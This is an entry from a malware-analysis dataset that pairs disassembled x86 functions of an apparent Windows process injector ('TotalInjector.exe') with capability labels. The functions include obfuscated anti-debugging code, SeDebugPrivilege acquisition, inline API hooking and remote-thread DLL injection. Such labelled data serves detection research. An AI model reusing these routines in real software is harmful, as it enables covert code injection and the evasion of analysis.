joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4bdf49
Capabilities:
Execute anti-debugging instructions

Disassembly:
mov dl, bh
mov cl, al
add esp, 0x1e
not ebx
cpuid
jmp 0x4bdf63
xchg al, dh
jmp 0x4bdf33
xchg dx, cx
mov dx, bp
xchg byte [esp + 2], ch
push word [esp]
jmp 0x4bdfd1
lea eax, [ecx*4]
xchg ebx, eax
clc
xchg edi, eax
push word [esp]
pop edi
jmp 0x4bdf4d
mov cx, ax
add esp, 3
bswap ebp
setg ch
sub esp, 0xd
pop dword [esp + 5]
jmp 0x4bdf8d
mov bx, word [esp + 2]
lea edi, reloc.mscoree.dll__CorExeMain
cpuid
mov dl, byte [esp]
xchg dword [esp], ebx
lea ecx, [ebp*4]
jmp 0x4bdfa3

Function at 0x4be4d6
Capabilities:
Execute anti-debugging instructions

Disassembly:
bswap eax
mov word [esp + 1], sp
mov ebx, esp
mov ax, dx
push dword [esp + 2]
mov dword [esp], ebx
jmp 0x4be4af
xchg word [esp + 3], bp
mov di, 0x1192
xchg byte [esp + 1], ch
ror cx, cl
mov dword [esp], ecx
cmc
jmp 0x4be45c
pop word [esp]
std
pop word [esp + 1]
xchg word [esp + 1], ax
jmp 0x4be4ef
neg ecx
push dword [esp + 3]
pop dword [esp + 3]
pop si
push dword [esp + 6]
xchg byte [esp + 2], bl
jmp 0x4be499
stc
jmp 0x4be483
pop bp
push ax
lea esp, [esp + 9]
lea esi, reloc.mscoree.dll__CorExeMain
jmp 0x4be51d
mov word [esp + 5], bx
xchg bh, ch
dec cx
xchg word [esp + 4], si
push word [esp + 5]
xchg si, di
jmp 0x4be4d9
mov si, 0xdb3c
cpuid
xchg byte [esp], ch
lea esp, [esp]
xchg byte [esp], ch
jmp 0x4be5cb
xchg byte [esp], dl
mov di, 0x1140
mov esi, dword [esp]
neg dl
bsr dx, sp
mov bp, word [esp]
jmp 0x4be507
sub esp, 0xe
rdtsc
bsf ebp, eax
mov byte [esp + 5], ch
mov bp, dx
push dword [esp + 6]
jmp 0x4be5aa
mov ch, byte [esp + 3]
xchg byte [esp + 2], ah
bswap edx
mov ebp, dword [esp + 1]
mov word [esp + 2], sp
mov ax, bp
jmp 0x4be552
mov byte [esp], bl
rdtsc
mov cx, word [esp]
mov ax, di
pushfd
cmc
jmp 0x4be56d
mov edx, 0x30913b7d
lea esp, [esp + 0xd]
add esp, 9
mov al, cl
push eax
cpuid
jmp 0x4be5f7
add esp, 0
add esp, 0
lea ebx, [esp + 0xa0]
cpuid
adc bx, bp
bswap ebx
jmp 0x4be59a
pop ebx
lea esp, [esp + 2]
rdtsc
mov edx, dword [esp]
add cx, 0x4ac9
jmp 0x4be620
mov dl, dh
xchg word [esp + 2], di
std
push dword [esp + 3]
rcl edx, 1
xchg di, si
jmp 0x4be5e1
mov byte [esp], bl
mov byte [esp], ch
xchg di, cx
mov bl, ch
pop bx
sub edx, esp
jmp 0x4be7eb
xchg byte [esp + 1], ah
add esp, 1
mov word [esp], dx
xchg dh, ah
mov esi, ecx
btr ebp, edx
jmp 0x4be60a
lea esi, [eax + 0x30]
xchg cl, bh
lea esi, [esp + edi]
xchg bp, di
lea ecx, [edi - 0x21]
xchg bx, si
call fcn.004be693
pop word [esp + 2]
mov word [esp + 1], sp
mov edi, dword [esp + 6]
rdtsc
jmp 0x4be882
pop dx
mov ebp, dword [esp]
push ax
bsr eax, eax
mov word [esp + 1], di
clc
jmp 0x4be868
add esp, 0
lea esi, [ecx*4]
add esp, 5
cmp si, 0xc1cc
xchg dx, ax
push word [esp]
jmp 0x4be838
xchg cx, dx
lea ebp, [esp + 0x18]
lea edx, [esi*4]
pop ebx
mov edi, dword [esp]
rdtsc
jmp 0x4be895
std
mov byte [esp + 3], cl
xchg dx, bp
std
mov esi, dword [esp]
mov dx, word [esp + 5]
jmp 0x4be84e
mov ecx, dword [esp]
add si, dx
bsr bx, ax
mov cl, 0x6a
lea esi, [ebx - 0x97]
cpuid
jmp 0x4be97b
sub esp, 7
push dword [esp + 1]
call fcn.004be8c8
std
rcr edx, cl
mov cl, 0x89
mov esi, esp
cpuid
rdtsc
jmp 0x4be8de
Function at 0x4be693
Capabilities:
Execute anti-debugging instructions

Disassembly:
mov dword [esp + 9], ebp
lea esp, [esp + 4]
pop cx
bswap edx
rdtsc
jmp 0x4be6b0
rdtsc
sub esp, 0xe
lea esi, [ebp*4]
pop edx
lea ecx, reloc.mscoree.dll__CorExeMain
lea edx, [eax + edx]
jmp 0x4be650
jmp 0x4be666
mov ch, 0xf6
pushfd
not ah
std
add esp, 7
shr cl, 2
jmp 0x4be746
xchg dword [esp + 2], ebp
not edx
pop dword [esp]
bsr edx, edi
mov bx, word [esp + 1]
cpuid
jmp 0x4be695
mov dh, al
pushal
pop word [esp + 0xd]
pop word [esp + 0xb]
rdtsc
jmp 0x4be713
mov al, 0xec
lea edi, [esp + ecx]
bt di, di
setge al
xchg ebx, edx
mov esi, dword [esp]
jmp 0x4be6c5
mov word [esp + 5], dx
setp dh
mov bp, si
pop dword [esp + 8]
xchg byte [esp + 0xc], al
cld
jmp 0x4be72c
lea ebx, [ebx*4]
mov bx, 0x13f4
bt ecx, ecx
cpuid
pop dword [esp + 0x13]
add esp, 5
jmp 0x4be6ee
xchg di, si
mov ah, byte [esp + 5]
pop word [esp + 0xa]
mov byte [esp + 8], dh
mov bl, 0xd8
jmp 0x4be7aa
lea esp, [esp]
mov ecx, dword [esp]
mov ebp, dword [esp]
std
lea edx, [edx + esi]
mov ebp, dword [esp]
jmp 0x4be6db
mov ch, 0x3e
mov bx, sp
mov dword [esp + 7], ebp
lea ebx, [ebx*4]
std
mov al, dl
call fcn.004be76e

Function at 0x4be835
Capabilities:
Execute anti-debugging instructions

Disassembly:
mov edx, 0xa83f12cf
cpuid
push dword [esp + 4]
pop eax
xchg ah, dh
inc bp
jmp 0x4be801
pushfd
jmp 0x4be817
Function at 0x4be8c8
Capabilities:
Execute anti-debugging instructions

Disassembly:
add esp, 0xe
lea ecx, [eax*4]
lea esi, [edx + ebp]
mov byte [esp], bh
jmp 0x4be922
setne ch
rdtsc
push word [esp + 0xd]
rdtsc
lea esp, [esp + 8]
jmp 0x4be94e
bts di, di
mov esi, ebp
push dword [esp + 0x16]
lea esi, [ebp*4]
lea esp, [esp + 0x16]
xchg dword [esp], edi
jmp 0x4be8ea
mov edx, ebp
add esp, 0
pushal
not bx
add eax, 0xdc337e92
lea esi, reloc.mscoree.dll__CorExeMain
jmp 0x4be900
mov dword [esp + 2], ebp
mov bh, al
lea esp, [esp + 1]
pop dword [esp]
mov dl, 0x96
jmp 0x4be962
mov ecx, ebx
xchg dword [esp + 2], edx
not dh
mov bx, 0x2269
push esi
pop word [esp + 1]
jmp 0x4be938
bsr eax, esi
not bp
mov word [esp], bx
push eax
mov ah, byte [esp + 5]
jmp 0x4be9e3
mov dx, word [esp + 4]
mov di, word [esp + 6]
mov si, word [esp + 0xc]
dec bp
pop ax
neg edx
jmp 0x4be9b9
std
sub esp, 6
inc ebp
popal
xchg edx, ebp
lea ecx, [ebp - 0xf1]
jmp 0x4be98b
pop word [esp + 1]
call fcn.004bea89
mov ax, 0x5d2a
std
mov word [esp + 9], di
xchg bl, bh
push bx
mov si, 0xecac
jmp 0x4bea19
pop word [esp + 2]
pushal
xchg cx, di
not dx
rcl bp, 0xa
stc
jmp 0x4be9a9
pop di
mov dx, word [esp + 0xb]
cmc
inc edi
rdtsc
mov ebx, dword [esp + 7]
jmp 0x4bea5a
lea ebp, reloc.mscoree.dll__CorExeMain
inc ebx
mov si, bp
bswap ebp
rcr ah, cl
lea ebx, [ecx + edi]
jmp 0x4be9f6
sub esp, 3
xchg dword [esp], ebx
sub esp, 0x16
mov word [esp + 0x13], cx
jmp 0x4bea69
add esp, 0
inc bh
bsf eax, esi
xchg word [esp], cx
mov si, sp
xchg byte [esp], dh
jmp 0x4bea2c
add esp, 0xc
add esp, 0
bswap edi
mov eax, esi
std
cpuid
jmp 0x4bea42
xchg dword [esp + 0x14], eax
add esp, 3
xchg word [esp + 0xe], di
not bx
xchg byte [esp + 0x13], bl
mov cx, word [esp + 0xe]
jmp 0x4bea9f
mov byte [esp + 6], dh
bts si, si
setl bl
push dword [esp + 0x10]
mov bl, byte [esp + 0xb]
jmp 0x4beff9
rdtsc
lea esi, [edx + edi]
rdtsc
push word [esp + 4]
call fcn.004bed83
jmp 0x4bee4f
pop word [esp + 5]
pop dword [esp]
pop word [esp]
lea esp, [esp]
call 0x4bee28
cmpsb byte [esi], byte es:[edi]
xor dword [ecx - reloc.mscoree.dll__CorExeMain], esp
mov bl, 0xaa
lds esi, [ecx + ecx*4 + 0x7c]
mov dword [esp + 0x17], edi
push word [esp + 0xa]
lea esp, [esp + 0x41]
call 0x4bedf5
mov word [esp + 3], cx
call 0x4bee33
mov dword [si + 0x24], esp
add ebp, ebx
sub eax, 0x77e8
call 0x4beeb5
xchg esi, eax
or al, 0x82
in eax, 0x14
stosb byte es:[edi], al
add byte [ecx + 0x309b6809], bl
js 0x4beea7
mov dl, 0xad
mov esp, 0x245c8966
add dword [esi + 0x56], esp
mov word [esp + 1], bx
push si
push word [esp]
mov byte [esp + 6], bh
pushfd
pop word [esp + 6]
jmp 0x4bedf7
add bl, byte [eax + ecx*4 - 0x14f0db84]
dec ebp
xchg ebp, eax
add al, 0xb7
sahf
jmp 0x24c077c0
mov byte [esp + 0xe], ch
mov cx, 0xbcf7
cmc
mov cl, 0xf7
shr ch, cl
xchg byte [esp + 5], bh
jmp 0x4bede4

Function at 0x4bea89
Capabilities:
Execute anti-debugging instructions

Disassembly:
mov dx, di
mov ah, byte [esp + 8]
mov esi, dword [esp + 0xa]
and bh, 0x51
lea eax, [edx + 0x25]
jmp 0x4be9c3
Function at 0x4011f0
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x130
mov eax, dword [0x5673f0]
xor eax, esp
mov dword [esp + 0x12c], eax
push ebx
push esi
push 0x124
lea eax, [esp + 0x10]
push 0
push eax
mov esi, ecx
mov dword [esp + 0x14], 0
call fcn.004fc760
add esp, 0xc
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x40125e
push 0
push 0
push 0x548d5c
mov ecx, esi
call fcn.00409a7b
pop esi
pop ebx
mov ecx, dword [esp + 0x12c]
xor ecx, esp
call fcn.004fa984
mov esp, ebp
pop ebp
ret
mov ecx, dword [esi + 0x138]
push ecx
mov dword [esp + 0xc], 0x128
call fcn.004fadcf
push 0x104
mov dword [esi + 0x134], 1
call fcn.004fad3b
add esp, 8
lea edx, [esp + 8]
push edx
push ebx
mov dword [esi + 0x138], eax
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x40133f
mov eax, dword [esi + 0x134]
mov ecx, dword [esi + 0x138]
imul eax, eax, 0x104
mov edx, dword [esp + 0x10]
mov dword [eax + ecx - 0x104], edx
mov ecx, dword [esi + 0x134]
mov edx, dword [esi + 0x138]
imul ecx, ecx, 0x104
push 0xff
lea eax, [esp + 0x30]
push eax
lea eax, [ecx + edx - 0x100]
push eax
call fcn.004fae10
inc dword [esi + 0x134]
mov eax, dword [esi + 0x134]
mov ecx, dword [esi + 0x138]
imul eax, eax, 0x104
push eax
push ecx
call fcn.004faf34
mov ecx, dword [esp + 0x24]
mov dword [esi + 0x138], eax
mov eax, 0xaaaaaaab
mul ecx
shr edx, 1
lea edx, [edx + edx*2]
add esp, 0x14
sub ecx, edx
je 0x40132c
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [esp + 8]
push eax
push ebx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x4012a2
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.00401360
mov ecx, dword [esp + 0x134]
pop esi
pop ebx
xor ecx, esp
call fcn.004fa984
mov esp, ebp
pop ebp
ret

Function at 0x401c90
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x401cab
pop edi
pop ebx
pop ebp
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x401ce2
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [ebp + 0x10]
add eax, esi
and ecx, 0xf
jbe 0x401cde
jmp 0x401cd0
cmp esi, eax
jae 0x401ce2
dec ecx
movzx edx, word [esi]
lea esi, [esi + edx*2 + 2]
jne 0x401cd0
cmp esi, eax
jb 0x401ce9
pop esi
pop edi
xor eax, eax
pop ebx
pop ebp
ret
movzx eax, word [esi]
neg eax
sbb eax, eax
and eax, esi
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x4025d0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x5673f0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
mov eax, dword [eax]
push ebx
push esi
push edi
push 0x549554
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x402696
push 0x40
push 0x1000
push 0xa
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
lea ecx, [ebp - 0x10]
push ecx
push 0x40
push 6
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x402696
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push 0
push 6
push edi
push esi
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
je 0x402696
mov al, 0xe9
mov byte [edi + 5], al
mov byte [ebp - 0xc], al
push 0
push 5
mov edx, esi
mov eax, 0x4026b0
lea ecx, [ebp - 0xc]
sub edx, edi
sub eax, esi
push ecx
sub edx, 5
sub eax, 5
push esi
mov dword [edi + 6], edx
mov dword [ebp - 0xb], eax
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x402696
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 0x10]
push edx
push eax
push 5
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, edi
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004fa984
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
xor eax, eax
pop ebx
call fcn.004fa984
mov esp, ebp
pop ebp
ret
Function at 0x402810
Capabilities:
Copy file
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x51f188
mov eax, dword fs:[0]
push eax
sub esp, 0x30
mov eax, dword [0x5673f0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x34], eax
xor eax, eax
push eax
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
mov word [ebp - 0x14], ax
call fcn.004fb2d9
add esp, 4
mov esi, eax
mov dword [ebp - 0x38], edx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
add eax, esi
push eax
call fcn.004fb2a6
add esp, 4
call fcn.004fb2b8
cdq
mov ecx, 0x19
idiv ecx
xor esi, esi
mov ebx, edx
test ebx, ebx
jle 0x4028bb
mov eax, str.1234567890abcdefghijklmabcdefghijklmnopqrstuvwxyznopqrstuvwxyz
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402898
sub eax, edx
mov edi, eax
call fcn.004fb2b8
xor edx, edx
div edi
inc esi
mov dl, byte [edx + str.1234567890abcdefghijklmabcdefghijklmnopqrstuvwxyznopqrstuvwxyz]
mov byte [ebp + esi - 0x31], dl
cmp esi, ebx
jl 0x402890
lea eax, [ebp - 0x30]
dec eax
nop
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x4028c0
mov ecx, dword [0x549494]
mov dl, byte [0x549498]
mov dword [eax], ecx
mov byte [eax + 4], dl
push 0
lea eax, [ebp - 0x30]
push eax
push str.TotalInjector.exe
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
jne 0x402920
mov ecx, dword [ebp - 0x34]
push 0x10
push 0x548e34
push 0x5494b0
call fcn.00409a7b
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004fa984
mov esp, ebp
pop ebp
ret 4
call fcn.004108ca
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x40293a
push 0x80004005
call fcn.00401a00
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x34], eax
lea ecx, [ebp - 0x30]
push ecx
lea edx, [ebp - 0x34]
push str._s__dontcopy
push edx
mov dword [ebp - 4], 0
call fcn.00401ad0
mov eax, dword [ebp - 0x34]
add esp, 0xc
push 5
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0
call fcn.004fb5ad
int3
Function at 0x403140
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x51f0f8
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x5673f0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edi, eax
call fcn.004108ca
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x40318d
push 0x80004005
call fcn.00401a00
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
lea ebx, [eax + 0x10]
mov dword [ebp - 0x24], ebx
lea ecx, [ebp - 0x30]
push ecx
push str.SeDebugPrivilege
push 0
mov dword [ebp - 4], 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
jne 0x40320d
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x5496b4
lea edx, [ebp - 0x24]
push edx
call fcn.00401ad0
mov esi, dword [ebp - 0x24]
add esp, 0xc
push 0x10
push 0x548e34
push esi
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
lea eax, [esi - 0x10]
mov dword [ebp - 4], 0xffffffff
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x403206
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
xor eax, eax
jmp 0x4032e5
mov ecx, dword [ebp - 0x30]
mov edx, dword [ebp - 0x2c]
lea eax, [ebp - 0x28]
push eax
push 0x20
push edi
mov dword [ebp - 0x20], 1
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x14], 2
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x40327f
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea ecx, [ebp - 0x24]
push 0x5496dc
push ecx
call fcn.00401ad0
mov esi, dword [ebp - 0x24]
add esp, 0xc
push 0x10
push 0x548e34
push esi
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
lea eax, [esi - 0x10]
mov dword [ebp - 4], 0xffffffff
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jmp 0x4031fa
mov edx, dword [ebp - 0x28]
push 0
push 0
push 0x10
lea ecx, [ebp - 0x20]
push ecx
push 0
push edx
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x4032ae
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x549700
lea eax, [ebp - 0x24]
push eax
jmp 0x4031c8
mov ecx, dword [ebp - 0x28]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ecx
call esi
push edi
call esi
lea eax, [ebx - 0x10]
mov dword [ebp - 4], 0xffffffff
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x4032e0
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004fa984
mov esp, ebp
pop ebp
ret
Function at 0x403310
Capabilities:
Create process on windows
Create process suspended
Resume thread
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x468
mov eax, dword [0x5673f0]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
push esi
xor esi, esi
push 0x100
lea ecx, [ebp - 0x10c]
push esi
push ecx
mov dword [ebp - 0x418], eax
mov dword [ebp - 0x41c], esi
call fcn.004fc760
push 0x1f4
lea edx, [ebp - 0x404]
push esi
push edx
call fcn.004fc760
push 0x100
lea eax, [ebp - 0x20c]
push esi
push eax
call fcn.004fc760
xor eax, eax
push 0x44
lea ecx, [ebp - 0x464]
push esi
push ecx
mov dword [ebp - 0x414], eax
mov dword [ebp - 0x410], eax
mov dword [ebp - 0x40c], eax
mov dword [ebp - 0x408], eax
call fcn.004fc760
add esp, 0x30
mov dword [ebp - 0x464], 0x44
test ebx, ebx
jle 0x4033e8
cmp byte [edi + esi], 0x7c
je 0x4033b2
inc esi
cmp esi, ebx
jl 0x4033a5
jmp 0x4033e8
push esi
lea edx, [ebp - 0x20c]
push edi
push edx
call fcn.004fe940
push esi
lea eax, [ebp - 0x10c]
push edi
push eax
call fcn.004fe940
mov ecx, ebx
sub ecx, esi
dec ecx
push ecx
lea edx, [edi + esi + 1]
push edx
lea eax, [ebp - 0x404]
push eax
call fcn.004fe940
add esp, 0x24
lea eax, [ebx - 1]
cmp eax, 0xa
jle 0x40340b
mov cl, 0x5c
cmp byte [ebp + eax - 0x10c], cl
je 0x403403
dec eax
cmp eax, 0xa
jg 0x4033f2
jmp 0x40340b
mov byte [ebp + eax - 0x10c], 0
lea ecx, [ebp - 0x414]
push ecx
lea edx, [ebp - 0x464]
push edx
lea eax, [ebp - 0x10c]
push eax
push 0
push 4
push 0
push 0
push 0
lea ecx, [ebp - 0x404]
push ecx
lea edx, [ebp - 0x20c]
push edx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov eax, dword [ebp - 0x40c]
mov ecx, dword [ebp - 0x408]
push 0
lea edx, [ebp - 0x41c]
push edx
push 8
mov dword [edi], eax
mov eax, dword [ebp - 0x418]
push edi
push eax
mov dword [edi + 4], ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x410]
mov esi, dword [sym.imp.KERNEL32.dll_ResumeThread]
push ecx
call esi
mov edx, dword [ebp - 0x414]
push edx
call esi
mov ecx, dword [ebp - 8]
mov eax, dword [ebp - 0x40c]
xor ecx, ebp
pop esi
call fcn.004fa984
mov esp, ebp
pop ebp
ret 4
Function at 0x4035c0
Capabilities:
Check for time delay via gettickcount
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x4d4
mov eax, dword [0x5673f0]
xor eax, esp
mov dword [esp + 0x4d0], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
lea ecx, [esp + 0x18]
push ecx
mov dword [esp + 0x18], eax
mov dword [esp + 0x14], 0
mov dword [esp + 0x1c], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov edx, dword [esp + 0x20]
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x24]
push edx
mov edx, dword [esp + 0x2c]
push eax
push ecx
push edx
push str..pipe1_d_d_d_d
lea eax, [esp + 0xc8]
push 0x3c
push eax
call fcn.004fafe1
add esp, 0x1c
lea ebx, [ebx]
mov edi, dword [sym.imp.KERNEL32.dll_CreateFileA]
push 0
push 0
push 3
push 0
push 0
push 0xc0000000
lea ecx, [esp + 0xcc]
push ecx
call edi
mov esi, eax
cmp esi, 0xffffffff
jne 0x40366e
push 0
push 0
push 3
push 0
push 0
push 0xc0000000
push str..pipehandshake
call edi
mov esi, eax
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call edi
mov ebx, eax
cmp esi, 0xffffffff
je 0x403724
push 0x3e8
lea edx, [esp + 0xf4]
push 0
push edx
call fcn.004fc760
add esp, 0xc
push 0
lea eax, [esp + 0x14]
push eax
push 0x3e8
lea ecx, [esp + 0xfc]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4036c2
mov eax, dword [esp + 0x10]
cmp eax, 8
je 0x4036d7
ja 0x403707
call edi
sub eax, ebx
cmp eax, 0xbb8
ja 0x403724
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x403681
mov edx, dword [esp + 0xf0]
mov eax, dword [esp + 0x14]
mov ebx, dword [esp + 0xf4]
push edx
push eax
call fcn.004034b0
push 0
lea ecx, [esp + 0x14]
push ecx
push 2
push 0x5497e8
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
jmp 0x403724
cmp dword [esp + 0xf0], 0x63657865
jne 0x403724
push esi
lea ebx, [eax - 4]
lea edi, [esp + 0xf8]
call fcn.00403310
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x32
call edi
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x32
call edi
jmp 0x403630
Function at 0x403740
Capabilities:
Create thread
Inject dll
Inject thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push 0x549554
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0xc], eax
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403765
push edi
push 4
sub eax, edx
push 0x1000
inc eax
push eax
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edi, eax
test edi, edi
jne 0x40378f
lea eax, [edi + 1]
pop edi
mov esp, ebp
pop ebp
ret
mov eax, esi
mov dword [ebp - 4], 0
lea edx, [eax + 1]
jmp 0x4037a0
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4037a0
sub eax, edx
lea ecx, [ebp - 4]
push ecx
inc eax
push eax
push esi
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, esi
lea edx, [eax + 1]
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4037c0
sub eax, edx
inc eax
cmp eax, dword [ebp - 4]
je 0x4037d9
mov eax, 2
pop edi
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0xc]
lea edx, [ebp - 8]
push edx
push 0
push edi
push eax
push 0
push 0
push ebx
mov dword [ebp - 8], 0
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
neg eax
sbb eax, eax
and eax, 0xfffffffd
add eax, 3
pop edi
mov esp, ebp
pop ebp
ret